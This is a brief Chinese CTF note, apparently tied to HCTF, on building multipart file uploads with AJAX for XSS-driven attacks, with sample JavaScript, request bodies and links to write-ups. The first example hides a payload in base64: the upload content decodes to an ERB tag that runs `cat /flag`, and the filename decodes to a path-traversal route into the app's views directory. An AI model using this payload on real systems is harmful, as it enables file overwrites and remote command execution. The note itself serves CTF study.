ajax上传表单的俩种方式

1.用h5对象上传表单（图片）

    var formData = new FormData();
    formData.append("authenticity_token", '1212121212');
    formData.append("file[context]", "zxcvxzcvxzcv");
    var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg==';   //这是文件内容的base64
    var blob = new Blob([content], { type: "image/png"});
    formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi");  //这里是文件名的base64
    formData.append("commit", 'submit');
    var request = new XMLHttpRequest();
    request.open("POST", "https://xz.aliyun.com/t/3245");
    request.send(formData);

请求体

------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="authenticity_token"

1212121212
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="file[context]"

zxcvxzcvxzcv
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="file[myfile]"; filename="Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"
Content-Type: image/png

PCU9IGBjYXQgL2ZsYWcgYCAlPg==
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="commit"

submit
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2--

1.用h5对象上传表单（txt）

    var formData = new FormData();
    var content = 'testestestes';   //这是文件内容的base64
    var blob = new Blob([content], { type: "text/plain"});
    formData.append("file[myfile]", blob,"haha.txt");  //这里是文件名的base64
    formData.append("commit", 'submit');
    var request = new XMLHttpRequest();
    request.open("POST", "https://xz.aliyun.com/t/3245");
    request.send(formData);

请求体

------WebKitFormBoundaryFcFYtbPnXsiq8yjI
Content-Disposition: form-data; name="file[myfile]"; filename="haha.txt"
Content-Type: text/plain

testestestes
------WebKitFormBoundaryFcFYtbPnXsiq8yjI
Content-Disposition: form-data; name="commit"

submit
------WebKitFormBoundaryFcFYtbPnXsiq8yjI--

2.使用原生js上传表单数据

通过余弦这个网站辅助生成表单

xhr = function(){
  /*AJAX*/
  var request = false;
  if(window.XMLHttpRequest) {
    request = new XMLHttpRequest();
  } else if(window.ActiveXObject) {
    try {
      request = new window.ActiveXObject('Microsoft.XMLHTTP');
    } catch(e) {}
  }
  return request;
}();

request = function(method,src,argv,content_type){
  xhr.open(method,src,false);
  if(method=='POST')xhr.setRequestHeader('Content-Type',content_type);
  xhr.send(argv);
  return xhr.responseText;
}

attack_a = function(){
  var src = "https://xz.aliyun.com";
  var authenticity_token = "1212121212";
  var file = "zxcvxzcvxzcv";
  var argv_0 = "
";
  argv_0 += "---------------------7964f8dddeb95fc5
Content-Disposition: form-data; name="authenticity_token"

";
  argv_0 += (authenticity_token+"
");
  argv_0 += "---------------------7964f8dddeb95fc5
Content-Disposition: form-data; name="file"

";
  argv_0 += (file+"
");
  argv_0 += "---------------------7964f8dddeb95fc5--
";
  request("POST",src,argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
}

请求体：

---------------------7964f8dddeb95fc5
Content-Disposition: form-data; name="authenticity_token"

1212121212
---------------------7964f8dddeb95fc5
Content-Disposition: form-data; name="file"

zxcvxzcvxzcv
---------------------7964f8dddeb95fc5--

 HCTF share的详解ajax构造表单：

https://xz.aliyun.com/t/3258   xss上传表单

http://sec2hack.com/ctf/sctf2018-web-writeup.html xss获取源码

https://xz.aliyun.com/t/2469#toc-1巅峰极客wp，xss获取图片